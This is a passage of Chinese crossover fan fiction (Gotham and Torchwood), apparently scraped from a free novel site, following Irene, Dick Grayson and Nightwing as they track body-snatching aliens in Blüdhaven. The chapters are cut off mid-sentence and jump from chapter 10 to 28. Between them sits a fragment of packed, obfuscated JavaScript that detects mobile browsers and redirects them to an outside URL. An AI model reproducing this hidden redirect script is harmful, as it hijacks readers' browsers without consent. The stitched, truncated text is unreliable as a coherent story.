“我才没醉!”伊琳踉踉跄跄,强行将迪克的皮夹抢了出来,扔在台球桌上,“你们的钱也压上来!” 他们的钱很快变成了她的钱。 就在人们还在怀疑自己眼睛的空档,伊琳已经搂过桌上所有的钱,分了一半递给迪克,拉着他跑出了酒吧。 “站住!” 迪克偷笑着发动了摩托。 伊琳冲着身后大喊:“你们动作太慢啦!” “你这不是在教我当花花公子,是在教我当骗子。” 伊琳迎着风张开双臂:“花花公子不就是骗子吗?” 迪克怔了怔,随即大笑。 “进来坐会儿吗?”伊琳走进公寓,开了灯,转头问迪克,“就当是醒醒酒?” 迪克退后一步,笑着摇头:“不了,他要是知道我进了他的房子,他会杀了我的。” 伊琳挑了挑眉:“那么,晚安。” 那位红彤彤的房东在第二天就出现在了伊琳的门口。 “你昨天回来得很晚?” 伊琳轻快地“嗯”了一声,没有问他是怎么知道的,只是斜在沙发上晃荡着双腿:“可惜送我回来的那位绅士被声名远扬的暴躁房东给吓跑了。” 红头罩一时间不知道该吐槽这句话里的哪个词:“哈。” “所以——”伊琳往前倾了倾身子,拖长声音说,“你得补偿我。” 红头罩被吓得往后一退。 伊琳看着他的反应,终于压制不住上扬的嘴角,笑出声来,重新靠回了沙发上:“所以,我要你给我提供信息作为补偿。” “送你回来的那个小子帮不了你?”红头罩挺直了腰,将皮衣拉得挺括,脚下战斗靴哒哒地走到旁边的沙发,端正坐下,装模作样地掸了掸裤子上的灰尘,才慢悠悠地开口:“说吧,你想知道什么?” “我需要一个能让我接上尽可能多的电子设备的地方,接收和发射巨量的信号——我指的多是至少一个城市的数量。” “你有两个选择。” “嗯哼?” “第一个,是想办法说服那只晚上飞来飞去的老蝙蝠。”他飞快地补充,“但我不建议你这么做,除非你想做什么事都有个人阴恻恻地盯着你、说教你。” “第二个呢?” “警局,或者其他官方机构,使用他们的权限接入全城的设备。但不是哥谭,戈登是个好局长,不会同意这样的要求。”他瞥了伊琳一眼,“除非你的体术和电脑技术能好到不被人注意地完成这件事,而我很怀疑这一点。” 伊琳不服气地“啧”了一声,摊手说:“好吧,算你说对了。所以你的建议是?” 红头罩不情不愿地继续说道:“布鲁德海文。他们的官方足够腐败,只要你能给出足够让他们心动的好处,他们会帮你做任何事。” 以伊琳现在赚钱的方式,能赚到让布鲁德海文警局高层心动的钱大概还要几十年。但好在她并不是一定要以利益诱惑他们——她还可以让他们害怕、敬畏。 像这样腐败的官方,他们一定害怕很多人。 ** 成了。 一番折腾后,连上警局系统的手表终于显示出整个布鲁德海文时空能量的波形图,只是对于空间时间的识别结果仍在不停闪烁着。伊琳不断在桌上敲着手指,等了十几分钟还是没有结果,索性关掉了这个把人晃得眼睛疼的条目。 显示的波形与卡迪夫完全不同,甚至在手表的数据中根本没有与其符合的波形。这座城市的区域内并没有任何剧烈能量信号显示裂隙的存在,但从整体来看,它的能量更加不稳定,仿佛整座城市乃至整个空间都有微小的缝隙。 考虑到那些她此前从未听闻的超级英雄、查找不到的火炬木新闻、以及爸爸的空号,她不得不确认自己最坏的猜测:这里并不是她熟知的那个地球。 她轻轻咬着下嘴唇,切换面板,向所有能连接到的设备发出指示:以一定的时间间隔,同时发出特定频率的呼救讯号。对象:博士。 ** 迪克手中水笔转了一圈,刚想好案卷的下一句该怎么写,就被同事拍了一下:“你听说上头来人了没?” 他笔头一抖,在纸上划出了一道长长的痕迹:“没,我才刚刚巡逻回来。哪个上头?” “这谁知道,”同事撇了撇嘴,神秘兮兮地压低声音,“但是应该来头不小,局长殷勤着呢!” 听起来没什么意思。 迪克悄悄打了个哈欠,打算敷衍两句,就听同事兴奋了起来:“来了来了,就是她!看起来还挺年轻的。” 他眼角分了些余光过去,下一刻就惊讶地瞪大眼睛:怎么是她? 这会儿的伊琳看 7. 来到布鲁德海文的第二天 《[综英美]哥谭的火炬木》全本免费阅读 “你见过外星人吗?” “你是说超人?”迪克摸了摸鼻子,“电视上看过算吗?” “氪星,那一定是颗很美的星球,可惜没有机会去看了。”伊琳吸了一口酒,看着蓝色的液面一点点低下去,笑着说,“不过宇宙里那么多星球,那么多文明,总有一点是一样的。” 迪克顺着她问:“是什么?” 伊琳晃了晃手里的杯子:“酒。他们可能会叫别的名字,用其他物质、方式酿造,但每个种族都总要发明些麻痹神经的东西,可以让人自在地说些胡话。” “那你现在在说胡话吗?” “你猜?”伊琳歪了歪头,点点吧台后面的酒,“你,你们,有很多想知道的事吧?那你可得更努力一点。” 迪克扬起嘴角,再一次绕回到吧台后面。 伊琳比划着:“我要一排彩虹!” 迪克将自己记忆里的配方一股脑使了出来,有几种他记得并不清楚,只能多放柠檬汁和果汁,心虚地推向伊琳,心里默默祈祷着不会太难喝。看着伊琳面无异色地喝了一口,他才松了一口气。 伊琳又开始讲述她那不知真假的外星冒险:“我们旅行的时候去过一个星球,问了很多人,都说没有听说过酒或者类似的东西。爸爸不信,打赌说一定有,然后我们偷偷潜进国王的宫殿里,里面堆了一仓库!我们把它们偷了出来,满星球地分发,侍卫追在我们后面跑。 “你知道最棒的是什么吗?那个星球是属于猫的!酒是猫草做的,他们喝了之后在街上翻着肚子打滚,毛绒绒一片,空气里都是猫毛,爸爸连打了好几个喷嚏。 “不过那个猫草酒不怎么好喝,”伊琳砸了咂嘴,“没有你调的好喝。” “爸爸也不喜欢那种酒,他说喝起来没滋没味,对我们人类不起作用。”她的声音低了下去,“要是一个人的寿命和宇宙一样长,就更需要酒啦。” 酒精的摄入开始在她脸上显出痕迹来,眼圈通红一片,眼里涟漪的水色在灯光下显得亮晶晶的。迪克忽然什么都不想问了,只想静静坐着,听她说些漫无边际的话。 伊琳拍了拍身旁的凳子:“我不喜欢一个人喝酒。” 或者是静静坐着,和她一起喝酒。 迪克犹豫了一下,还是给自己倒了杯低度数的果酒。 “谨慎,哈?”伊琳与他碰杯。 “不,我只是......”辨不清滋味的笑声取代了解释的话,他摇摇头,“你听说过飞翔的格雷森吗?把性命拴在一条绳子上,在任何人看来,这都和谨慎不沾边吧。” “不止是一条绳子。”迎着迪克的目光,她说,“还有娴熟的技巧,详尽的计划,以及......同伴。” 迪克低下头,沉默一阵,忽然问:“你那天在庄园里,说的是真的吗?你说你不打算参与到哥谭的事中?” “是的,只要它不需要我。”伊琳弯着眼睛,“虽然我初来乍到,但也能从新闻里看到义警们付出的努力与成果,我并不妄想我能找到更适合这个城市的一条路,我尊重他们所确立的方式。” “好吧,谢谢——呃,我是说,谢谢你回答我的问题。” “还有想问的吗?”伊琳晃了晃杯里的酒,“不要错过机会。” 迪克转了转手里的杯子,喝了一大口,回给她一个笑:“没有了。” 伊琳挑起眉毛:“好吧。” 等到迪克意识到自己再一次盯着伊琳走起了神、没有捕捉到她讲述的外星大冒险的逃脱细节时,他在桌上放了几张纸币:“走吧,趁着我还没有喝醉,我送你回去。你要去哪儿?” 伊琳歪着头想了一阵,从包里掏出了一张纸片:“这里。” 迪克一怔:“你怎么知道我家的地址?” 伊琳突然笑得双肩抖个不停:“没想到你这么直接。” “什么?”迪克刚刚产生疑问,就看见纸片上的文字不断闪动,像是掉帧的视频,“这是什么?高科技?还是超能力?” “这是面镜子,能映照出你在想些什么。”伊琳搂住他的脖子,凑在他耳边低语,温热的气息将迪克的耳朵蒸腾得泛上红色,“不过我赞同,是个不错的主意。” ** 门锁有些锈了,在闪烁的楼道灯下,迪克调整了好几次位置才将钥匙插了进去。门一开,脚边就传来一声轻响,一个空麦片盒子倒在了地上。 迪克将盒子丢到一边,尴尬道:“早上出门太急,忘记扔出去了。” 伊琳打量着这件屋子:是间不大的一居室,装修很旧,沙发上散落着几件衣物。 看到她眼神的落点,迪克快速将衣服团成一团,扔进了脏衣桶里。 伊琳轻轻笑了一声:“你有点儿紧张。” 迪克偏过头,没接她的话:“是不是比你想象得更糟些。” “我没有在想你的公寓。”伊琳声音轻快,尾音上滑,重音落在“公寓”两个字上。 “嘿,别到那儿。”迪克轻轻推了伊琳一下,笑着说,“我很认真。” “好吧,我洗耳恭听。” 迪克张了张嘴,垂下头长出一口气:“这是我第一次对人说起这件事。有的朋友,虽然我没说,但是我想他们也知道一些。这让诉说变得更加困难,太多......太多个人评价了。我只是想说出来。” “明白了,”伊琳手指交叉,在嘴唇上比了个叉,“伊琳的嘴正式下线,耳朵全程值班。” 迪克笑了一声:“这是我离开哥谭后,第一间凭我自己的努力拥有的屋子。” “那会儿你几岁?” 见迪克看过来,伊琳又将手指交叉重新放到了嘴唇上。迪克眼带笑意地将她的手拿了下来:“我可没把你当树洞。” “那时候我刚刚十七岁,和布鲁斯吵了一架,离开了哥谭。” 他记得中枪时胸口炸裂开的疼痛和从空中坠落的失重感,这被死亡的恐惧淹没的一瞬却比不过被醒来后的噩耗钝刀割肉般凌迟着。 8. 来到布鲁德海文的第三天 《[综英美]哥谭的火炬木》全本免费阅读 “一点都不,”伊琳捧起他的脸,食指在他的颈后轻柔地打着圈,低声说,“一点都不。” 她轻笑:“你忘了吗?我也是想要离开父亲独立才离家出走的。我只是刚开始,而你已经走了那么远。” 迪克扯起嘴角:“我是不是说得太多了?我并没有想让你烦心的意思。”他闭上眼,双手握拳放在膝上,指关节捏得发白:“只是最近发生了一些事,让我觉得......我好像永远都不能做得像他一样好。” “布鲁斯?”伊琳垂下头,握上他的手,强行将他的手指掰开,五指循着他的指缝交握,“为什么要一样?布鲁德海文不是哥谭,但她很好。” 迪克被她逗笑了,摇了摇头:“没有人会说布鲁德海文很好。” 伊琳耸耸肩:“哥谭也是。你知道我的意思。”她转了个话题:“但你们现在没事了?我是说,你和布鲁斯。” “对没事了,我想。” “你有那么多地方可去,但你选择了布鲁德海文,哥谭的姊妹城市。” “我想证明给他看,总得要他看得到。” 伊琳忽然觉得心口沉甸甸的,别过头,呼了一口气:“我也是。但我好像走得太远了,到了一个我父亲看不到我的地方。” 她转回头,直视着迪克——他眼睛泛着水光,注意到她的视线,依旧弯成了好看的月牙,轻轻地用情绪不稳导致的沙哑嗓音招呼道:“嘿。” “我可能,很快就会离开。这可能是你最后第三次见我,或者第二次,最后一次。” 迪克的头发微微卷曲,蓬松地垂在额前,随着他凝神前倾的动作微微晃着。伊琳伸手去抓,发丝的触感比它看起来更加粗硬些,像是迪克隐藏在欢笑和俏皮话下的倔强。她的手指划过他的额头,迪克有些痒,轻轻咕哝了一声。 “如果这真的是你最后一次见我,你想做些什么?”她将那缕头发卷在手里,跪坐起来,俯视着迪克的眼睛。 迪克隐约能闻见她身上清新的果香,并不甜腻,不知是果酒残留的气息还是不知名的香水。她得意地看着他,眼睛像占卜用的水晶球,直直地看进他的心里,而她自己却在一团迷雾后面,令人看不分明。 他曾数次被告知未知是危险的,但一个飞人表演演员本就与来自深渊的危险窥视相伴相依。 “你喜欢跳舞吗?”她问。 他点了点头。 ** “满意我的柔韧度吗?” “唔......”伊琳佯装思考,“你知道吗?在某一个星球上,那里的人可以控制自己的骨骼变软,把自己的身体像套索一样绕在爱人的身上。” 迪克搂住她的腰,不满地咕哝了一声。 她轻轻吻上他的眼睑:“但他们没有你这样漂亮的眼睛。”她的手指落在深深浅浅的疤痕上:“还有这些徽章。” ** 伊琳是被一阵噼里啪啦的声音给吵醒的。她循着油烟味和经典的番茄肉酱面的气味走去,就看见迪克手忙脚乱地用叉子给午餐肉翻面,尝试了好几次才翻过来,表面已经有些焦黄了。 “嗨,”迪克不好意思地摸了摸脖子,“你醒了?我正在做点东西。” 伊琳忍着笑将桌上速食意面的包装袋扔进垃圾桶里:“嗯,看起来不错。” “呃,不好意思,我最近不太有时间做饭,有些不熟练了。” 伊琳点点头,一本正经:“看得出来。”她探头看了眼锅里:“快焦了。” 迪克匆忙关了火,用叉子刮了好几下,才把黏在锅上的午餐肉给弄了下来。 伊琳评价道:“还行,能吃。” 看着迪克尴尬的神情,她大笑:“别紧张,靠便利店解决晚饭是明智之选,比大晚上清扫厨房强多了。千万别好奇尝试,我试过一次,可难清洗了。” 迪克坐下刚吃几口,桌上手机振动,他拿起来一看,脸色变幻,抬头犹豫地和伊琳说:“呃,有点急事,我......” 伊琳一手捂着嘴巴,摆了摆手,含糊着说:“去吧,记得回来的时候给我带套衣服。” 迪克的背影实在有几分落荒而逃的样子。伊琳勾起嘴角,叉起迪克盘里的午餐肉,咬了一大口。 ** 事实证明,他们那次的相处不是最后一面,也不是倒数第二面、第三面。 迪克将伊琳的手表递还给她:“使命达成。” “谢啦。” 至于迪克作为一个普通的小警员究竟是怎么接入警局最高权限、成功获取过去一周内所有电子设备所记录的能量数据的,两个人心照不宣。 看着迪克憔悴的脸色和黑眼圈,伊琳问:“你最近在忙什么?多久没休息了?” “这么明显吗?”迪克捏了捏眉心,“一桩失踪案。”两个身份同时在查这个案子,白天黑夜不休,但毫无线索。 “说说?” “第一起是在五天前,截止到目前已经有十二个已知的失踪者了,但考虑到布鲁德海文的特性,未记录在案的可能更多。失踪者都是二十至三十岁的年轻人,身强体健。” “这个范围很有针对性啊,是目的明确的绑架或者拐卖?” “布鲁德海文的各个帮派也没有听到任何风声,没有运输,没有交易,没有洗钱。街道上的监控很多都早在以前就被破坏了,市政根本没想着维修,找不到失踪者的行动轨迹,他们就仿佛凭空消失在了这个城市里,没有任何人知道他们的去向。”迪克叹了口气,“警局里有人说,他们就像是终于厌倦了这座没有希望的城市,抛弃家人,自己悄悄离开了。” “但不可能这么多人突然同一时间决定离开。”伊琳若有所思。 “不说这个了,”迪克带着笑意,“你这次来是打算住几天,还是马上回哥谭?” “你是想我留下呢,”伊琳忽然贴近,眼睛一眨不眨地看着他的反应,“还是怕我留下插手你的案子?” 迪克轻轻推了一下她的肩,大笑:“我只是在问。” “我这次来就是取下数据,没问题的话很快就回哥谭了。”伊琳翻开覆盖腕表的布带,手指跃动,凌空投射出一块悬浮的面板,现出好几道复杂的曲线和密密麻麻的读数。 迪克看得眼花,挑了挑眉,没有多问。 伊琳原本神情闲适,手指浮空拖动着 9. 来到布鲁德海文的第四天 《[综英美]哥谭的火炬木》全本免费阅读 “关了那该死的声音!”她的嗓音一改原来的轻柔和缓,像是被闷在一层厚厚的被子里,从身体深处传来。 砰。 不远处像是有重物落地,悉悉索索的摩擦声越逼越近,仿佛巨蟒在匍匐着向她而行。 伊琳舌头顶了顶上颚,手指爽快地一点,声音骤停。她一副焦急忐忑的神情:“女士,您怎么了?身体不舒服吗?” 摩擦声停了下来。 伊琳眼睁睁看着面前这人的五官以一种橡胶玩具回弹的缓慢速度恢复到了原位,在嘴还歪着的时候,这位原本面貌清秀的接待人员开了口:“我们这里的健身方式结合了冥想,不能播放音乐。” “哦,抱歉,我不知道。”伊琳飞快地跳下了跑步机,看上去很不好意思,“这种健身方式听上去很有趣,我会带朋友们来体验的。” “谢谢介绍,我先走了。” 拐出这条街,她阴沉下脸:噬躯者,这种寄生在其他智慧生物体内、以其血肉为食的生物,实在是让她觉得恶心。 也让她的脑海里不受控制得出现了一些久远的画面。 她摇了摇头,想将那些不愉快的记忆甩掉。眼睛的余光里,一个深色的影子从屋子后面翻过来,落在她身后一步的地上。 她飞快地掏出枪,转身,开了保险:“谁?” “喔,冷静。”蓝眼睛有些意外地眨了眨,双手举在头边,示意自己没有恶意。见伊琳神情放松了下来,他又忍不住多看了几眼她垂落在身侧的手枪,“换枪了?你之前用的不是这个。” 伊琳食指套在扳机处把枪转了一圈,勾起嘴角:“我原来带的枪有点惹眼,这是一个朋友送的,还不错。” 夜翼对这个“朋友”的身份有了些猜测,抿了抿嘴:“他和你......”看着伊琳似笑非笑的神情,他把后半截话咽了回去,咳嗽一声,将原本明朗的声线压得喑哑:“你在这儿做什么?我以为你在哥谭。” “好久不见,这声音真不适合你。”伊琳耸了耸肩,指了指身后的路,“健身啊,你难道不健身吗?”她的视线意有所指地在夜翼前胸和身后饱满的曲线上停留了一会儿,憋着笑说:“我不信。” 夜翼的嘴角不受控地微微翘起,随后忍住了,清了清嗓子:“嘿,我很认真。” “好吧,简单来说,就是我领域内的一些东西跑进了你的城市。” 夜翼恍然:“外星人?” 伊琳忍笑:“其实你不该知道的。”她的重音放在“你”上,见夜翼尴尬地别过头,她挥了挥手:“无所谓了。” 她调出腕表的光屏,将异常数据指给夜翼看,神情凝重:“大概在五天前,有一群能寄生在人体内的外星人混了进来,我们一般把这类外星人统称为噬躯者。我刚才试探了一下,他们畏惧巨大的声音,这是泽拉瑞亚人的显著特征。 “泽拉瑞亚人是一种不典型的噬躯者,他们的寄生行为并不源于对血肉的渴求。他们的原始形态很细小,像蚯蚓一样,能钻入其他智慧生物体内,操纵他们的行为。随着寄生时间的推移,他们会吸食血肉壮大自身。一般来说,刚被寄生的人受到的影响不会太大,但像健身房里面这些,宿主大概只剩了一张皮。 “但就像我刚才说的,他们对血肉的渴求并不强烈,最终的目的是混入其他种群,进行人口贩卖。” “泽拉瑞亚人是星际臭名昭著的奴隶贩卖商,”伊琳一手抱在胸前,一手拖着下巴,“如果在他们出没的地方发生了失踪案,那么不用问,百分之百是他们干的。” “所以我查不到任何交易和运输的痕迹,他们的交易对象在地球之外?”夜翼咬了咬腮帮子,手扶上通讯器,“如果是这样,我们得请求正义联盟的协助了。” 伊琳眨了眨眼睛。 如果他们真的是通过缝隙、和我从同一个地方来的,我怀疑恐怕正义联盟翻遍整个宇宙都找不到受害者的下落。 伊琳按住他的手,搭上他的肩膀,小声说:“要不先把他们揍一顿,问个话?放心,他们不怎么抗打。” “第一步,先把他们从人皮底下逼出来。”她手指虚空划过光屏,复杂到令人头疼的曲线瞬间换成了一个列表状的页面,夜翼在上面看到了好几个眼熟的歌名。 伊琳摸了摸下巴,不满地啧了声:“糟糕的品味。”她转头看夜翼:“有推荐的歌曲吗?” ** 健身房的蓝牙音响不太行,音乐声放到最大时产生了嗡鸣。伊琳随着节奏敲着手指,趴在窗外看里面的“人”蜷缩在地上,四肢仿佛软体动物一般扭曲着,皮肤底下滑过一个个隆起的小包。 令人作呕。 她捂上嘴干呕了一下,憋得眼眶通红。一只手抚上她的背,她扭过头,对上夜翼有几分关切的神情。她松开手,挥了几下,又点了点窗子里面。 屋子里的“人”大张着嘴,像是无声尖叫着,但嘴大张的程度很快就到了人类所能达到的极限。皮肉从嘴角处开始撕裂,露出嫩粉色的肌理,却没有一滴血流出。几秒后,撕裂贯穿了整张面皮,米黄色带着褶皱的脑袋从里面露出来,黑得不带一点杂色的两只眼睛手掌一般大小,底下敞着小小的裂口,是他在张着嘴尖叫。 “就是现在!”伊琳说。 玻璃的破碎声混杂在巨大的音乐里并不明显,直到特质的箭头钉在地上燃起火焰,泽拉瑞亚人才抬起大眼睛看了一眼,惊恐地加快了移动速度。 等他们整个从寄生的人皮里脱离出来,夜翼才看见他们的全貌:软体有节,像是肥硕的蚕,一人长,身子底下有三对短小的足,蠕动前行。 伊琳跟着从窗口跃了进来,被改造过的喷火枪炙烤着他们的身子。泽拉瑞亚人在烈焰里翻滚,被炙烤得焦黄,以肉眼可见的速度缩小,但移动速度反而变得更快。 夜翼镖破空而去,钉住了他们的尾巴,留他们在地上徒劳地翻滚。 声音能将他们从皮囊中逼出来,而火焰能榨干他们身体中的水分,让他们还原成最初的样子——像是普通的蚕宝宝,但眼睛挺大的。 噬躯者都有这样的眼睛吗?幽深邪恶,觊觎着血肉,等从皮肉里破出时,如果受害者还有最后一口气,就会对上这样的眼睛。 伊琳面无表情地想,手里的喷火枪毫不留情地对着一个泽拉瑞 10. 来到布鲁德海文的第五天 《[综英美]哥谭的火炬木》全本免费阅读 夜翼跨坐在轰鸣的机车上,腰上别着一只小型音响,心脏随着躁动的音乐一起剧烈跳动着。他紧握车把,扫视着警局周边的街道——时间有限,他必须在那群外星人换了皮囊、悄无痕迹地消失之前找到他们。 有路人掏出手机想要抓拍,又被同行人拦住了:“你疯了?说不定这里马上就有什么帮派火拼,还不赶紧走?” 帮派火拼是没有的,只有几只滑不溜丢的泥鳅,钻进布鲁德海文这块大沼泽地里,找不到半点踪影。 机车在这片街区转了两圈,依旧没有发现任何线索。夜翼的声音中透露出焦急:“神谕,有发现他们的踪迹吗?” “到了八大道那边就没了监控,附近几个街口的监控我都看着,暂时没发现异样,他们很可能还在中间没有监控的两个街区。” 神谕顿了顿:“但是如果他们改去寄生其他人的话,我们很难发现。” “他们做不到!”夜翼的脑海中突然闪过一个念头,迅速对神谕说道:“神谕,我需要你立即调查附近的火情信息,包括报警电话和火灾警报!” “火?” “伊琳告诉过我,只要他们开始寄生,就必定会吸收体内的水份而膨胀,他们没有办法在这种状态下直接换个人寄生。” 神谕恍然:“如果他们要重新寄生,必须用火缩小体型。明白了。” 她手指飞快地敲击着键盘,设定参数用程序筛选警方收到的报警信息:“离你两条街的位置,12号,一分钟前刚刚触发了火警。” “收到!” 夜翼根据神谕的指示迅速赶到目标地点,机车在狭窄的街道上猛然刹车,轮胎与地面摩擦发出刺耳的声响。他手搭上腰里的抓钩枪,钩索牢牢固定在几米外的楼上。他绷紧手臂,将人从机车上带起,荡到窗前,借着冲势踢破玻璃,撞进了冒着浓烟的屋子里。 里面空空荡荡,什么都没有。 他在窗台上一踏,重新荡回到机车上,收回钩索,顺便将音响调到最大,向前方飞驰过去。 拐角处,一个鲜黄色的衣角露在外面。 夜翼突然减速,一个甩尾拐进小路,看着地上倒着抽搐的五个人挑高了眉毛:“你们倒是团结一致,省了我的事了。” 他一按腰上另一柄枪状的机械,一张漆黑的布铺设到了面前的地上,边缘的金属收缩,刮在地上发出刺耳的声响,将五个人紧紧包裹住。 夜翼用手提了一下,一阵牙酸:“好重。” 安静已久的通讯器里传出芭芭拉轻松的询问:“搞定了?” “当然,谢啦!” “刚才情况紧急,我没来得及问,”芭芭拉带着调侃的笑意,“你和那个叫伊琳的女孩......嗯?” 迪克咳嗽了一声,没压下嘴角的上翘:“没错,是你想得那样。” “啊哈,我就知道。说说看,你们发展到哪一步了?” 虽然知道芭芭拉看不到,迪克还是没忍住翻了个白眼:“芭芭拉......” “我只是好奇......”芭芭拉拖长了声音,“和她交往的是迪克·格雷森,还是夜翼,还是两个都是?” 迪克叹了口气:“是迪克。” “我不想扫兴,但你知道的,我们哥谭的朋友一直在查她的身份,但还没有发现。” 迪克语气沉了下来:“这里是布鲁德海文,我不需要按照他的规则去做。” “好吧,我只是说说。不过B要是问起来,我不觉得我能瞒得住。” “我会处理好的。”想到那些乱七八糟的新闻报道,迪克叹了口气,按掉了来自布鲁斯的第四个电话。 “那么......神谕下线,有什么进展记得告诉我哦。” ** 在布鲁德海文这样混乱无序的城市里生活的人,要不就是把“明哲保身”做到了极致,能说一个字的绝不说两个字,能在家里窝着就绝不迈出门一步;又或者,就是把“及时行乐”奉为至理名言,断了一只手也不耽误去外面潇洒,被子弹打穿了只要不死,还能笑嘻嘻地说是自己的幸运日。 伤重留院的,大多是第二种人,基本都是在帮派打斗里挂的彩,是帮派的底层炮灰,一来就是一群。麻药劲儿一过,但凡还能走动,就开始吊着纱布在走廊上乱晃,蹿进各个病房里认兄弟,或者是去骚扰其他无辜病患。 所以伊琳这段自杀监管,属实是过得精彩非常。 病房门框上嵌上了一颗子弹,还有两颗大概在某两个倒霉蛋的骨头缝里,不知道现在有没有被排到手术。那把用来割腕的匕首上再次沾上了血,一个乖觉的小喽啰感受了一下伊琳枪管的热量,就跑去卫生间认认真真地把它洗干净了,现在正被伊琳拿在手里转着圈。 而另一把干净的匕首则落在了一个梳着刺猬头的人手里,刺猬头正坐在伊琳床边,认认真真地给她削着水果。 伊琳看了眼被递过来的苹果,嘴角一翘:“还不错,再削成片。” 走廊上的喧嚣声一直没停过——虽然在伊琳这儿碰了一鼻子灰,但没被她扣下的人在感慨过自己的好运后,照旧高声呼和着,从新入院的病人的身份上推断外头的事。 伊琳原本没太在意,直到外头飘进来的话里带上了“外星人”、“寄生”等词。她拿过刺猬头手里的匕首,咬了一口上面插着的苹果片:“出去看看,外面在说什么外星人的事。” 刺猬头单腿往门外跳——他右腿被人用棍子砸断了,因为跑得慢才被留下来给伊琳削苹果。 等了一会儿,刺猬头犹犹豫豫地从门口挪进来,一步就几厘米。伊琳笑盈盈地“嗯”了一声,刺猬头站直了身子,大声说:“他们是在说新入院的那些人的事。” “继续说。” “那些人没什么伤,就有点缺水,然后一直在吐,说什么有虫子从嘴里钻出来。听说他们是被那个在夜晚出没的疯子送来的......”看着伊琳抬高了眉毛,刺猬头声音低了下去,“我是说,那个义警。警察也来录过笔录了,说他们是被外星人给寄生了。” 说着他又嘀咕起来:“又是外星人,在那个家伙出现在布鲁德海文之前,这里可没这么多破事。” “你在说我吗?” 刺猬头打了个激灵,僵着脖子扭头一看,夜翼半个身子探进了窗,和伊琳打了个招呼:“你这儿还挺热闹。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915618|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找艾薇的。” 克莱尔推开芭芭拉的手,从地上跳了起来,打量着伊琳:“她说的是真的?” “我又不认识你,骗你干什么。”伊琳瞥到沙发上有件皮衣,看着不像是芭芭拉的穿衣风格,于是拎了起来,抛给克莱尔,“你还有什么行李吗?收拾好,我们准备走了。” 克莱尔难以置信地盯着伊琳看了一会儿,嘴微微张着,眼睛瞪得滚圆。见伊琳没有反悔的意思,飞快地跑进房间,不到一分钟后就拿了一个鼓鼓囊囊的行李袋出来。 “把我的刀留下。” 芭芭拉的话把克莱尔吓了一跳,下意识地把行李袋往身后藏:“我不知道你在说什么。” 芭芭拉摇摇头,并不赞同克莱尔的负隅顽抗:“我是一个不爱点外卖的独居人士,所以我做饭,我能发现厨房里少了一把刀子。” “是你们先把我的刀给扔了的,”克莱尔索性不藏着了,将行李袋背在肩上,整个人被重量压得一斜,“这就当是你还我了,我们两清。” “算了,让她带着吧。”伊琳拍了拍自己腰上的枪套,“有我在,路上不会有事的。等到了毒藤女那边,也不差这一把刀子。” “你什么意思?”克莱尔迅速地转向伊琳,出言维护道,“艾薇很好。” 伊琳越看越觉得克莱尔像只炸了毛的猫科动物,生气起来瘪着嘴,比起凶倒更像是委屈,忍不住逗她说:“艾薇真这么好?” “反正比你们好一百倍,”克莱尔顿了顿,又狠狠地补充了一句,“比天使好一千倍。” 换算一下,这是在说她们比天使好十倍? “呃,谢谢?”伊琳忍俊不禁。 “你们以为天使很好?”克莱尔冷笑,拎着行李袋经过伊琳身边自顾自往门口走,“相信我,你们不会想遇到他们的。” 她站在门前,感应门固执地亮着代表禁止通行的红灯。克莱尔转过身,不耐烦道:“还走不走了?” “我走啦,很高兴见到你。”伊琳冲着芭芭拉挥了挥手,快步走到克莱尔身边,搂住她的肩膀,“我同意你的观点,我一点都不想遇到天使。” 伊琳只听说过一种叫做“天使”的生物,他们会将人送到过去,以此窃取时间,看到哭泣天使的人大多都无法逃脱。 克莱尔瞥了她一眼,点了点头:“你比那些愚蠢的信徒强些。我之前待的寄养家庭竟然还做餐前祷告。什么样的蠢货才会做餐前祷告!” “蠢货”两个字被咬得很重,但情绪听起来很复杂,似乎不止是嫌恶。 伊琳不懂她突如其来的情绪是怎么回事,随口应了一句后,帮她提住行李袋的一角,分担了些重量:“走吧。” 克莱尔低下头,含糊地道了声谢,又提高了声音:“看在你人还不错的份上,给你一句忠告,不要向天使或上帝祈祷,他们和恶魔一样,只会夺取,不会赠予。” 伊琳耸了耸肩:“随他去吧,我从不祈祷。” 28.阿卡姆越狱的第三天 芭芭拉给的地址在哥谭的边郊,骑摩托车过去得一个多小时。 克莱尔斜坐在后座,艰难地将行李袋抱在身前,放在膝盖上。随着路边的景象越来越荒芜,伊琳能明显感觉到克莱尔的姿势逐渐放松下来,最后还拍了拍她:“能不能停一下,我换个姿势。” 伊琳接过行李袋,看着克莱尔重新跨坐上车,再次将袋子放在自己身前。 “我早说过,还是这样省力。” 克莱尔别过头不看她。 伊琳恍然大悟:“你不会本来还打算跳车逃跑吧?” “我怎么知道你们说的是不是真的。” “那现在呢?因为这里看上去不像有寄养家庭或收容机构?”伊琳大笑,“你就不怕我把你卖给人口贩卖组织?” 克莱尔不说话了。 伊琳坐上摩托车,偏头看克莱尔隐没在散乱的卷发下的侧脸,若有所思:“其实你也知道我们是好人,对吧?” 过了许久,克莱尔说道:“我讨厌好人。” 听起来是个挺符合她年纪的中二言论。 “如果是坏人害了你,所有人都知道他是坏人,应该被唾弃、死有余辜。”克莱尔的手指死死抓住行李袋的布料,指节攥得发白,“但如果是好人害了你呢?为了拯救世界,为了更大的利益,毁掉了你的生活。你除了独自恨他们,什么都做不了。” 车把一歪,车子往路边斜去,克莱尔连连惊呼:“诶,注意看路!” 伊琳回过神来,重新回到路的中央:“来点儿肾上腺素的刺激,你就不会想这么多了。” 不得不说,克莱尔的话让她想起了自己那个同父异母的姐姐艾丽丝——如果从出生顺序的角度来说,可能算是她妹妹。 她早就知道这个姐姐或妹妹的存在,毕竟爸爸每隔几个月就会悄悄去看她,伊琳尾随了几次,就缠着爸爸把事情说明白了——外星人入侵,牺牲一个孩子或是更多孩子的道德困境,以及......近在咫尺的血缘至亲。 那是伊琳第一次看到爸爸流露出如此真切的痛苦与悔恨,她因为爸爸突然显露的脆弱而手足无措;她又忽然生出一种毫无缘由、没有对象的愤怒,为什么这个世界上会有这样两面都被堵死的绝路。 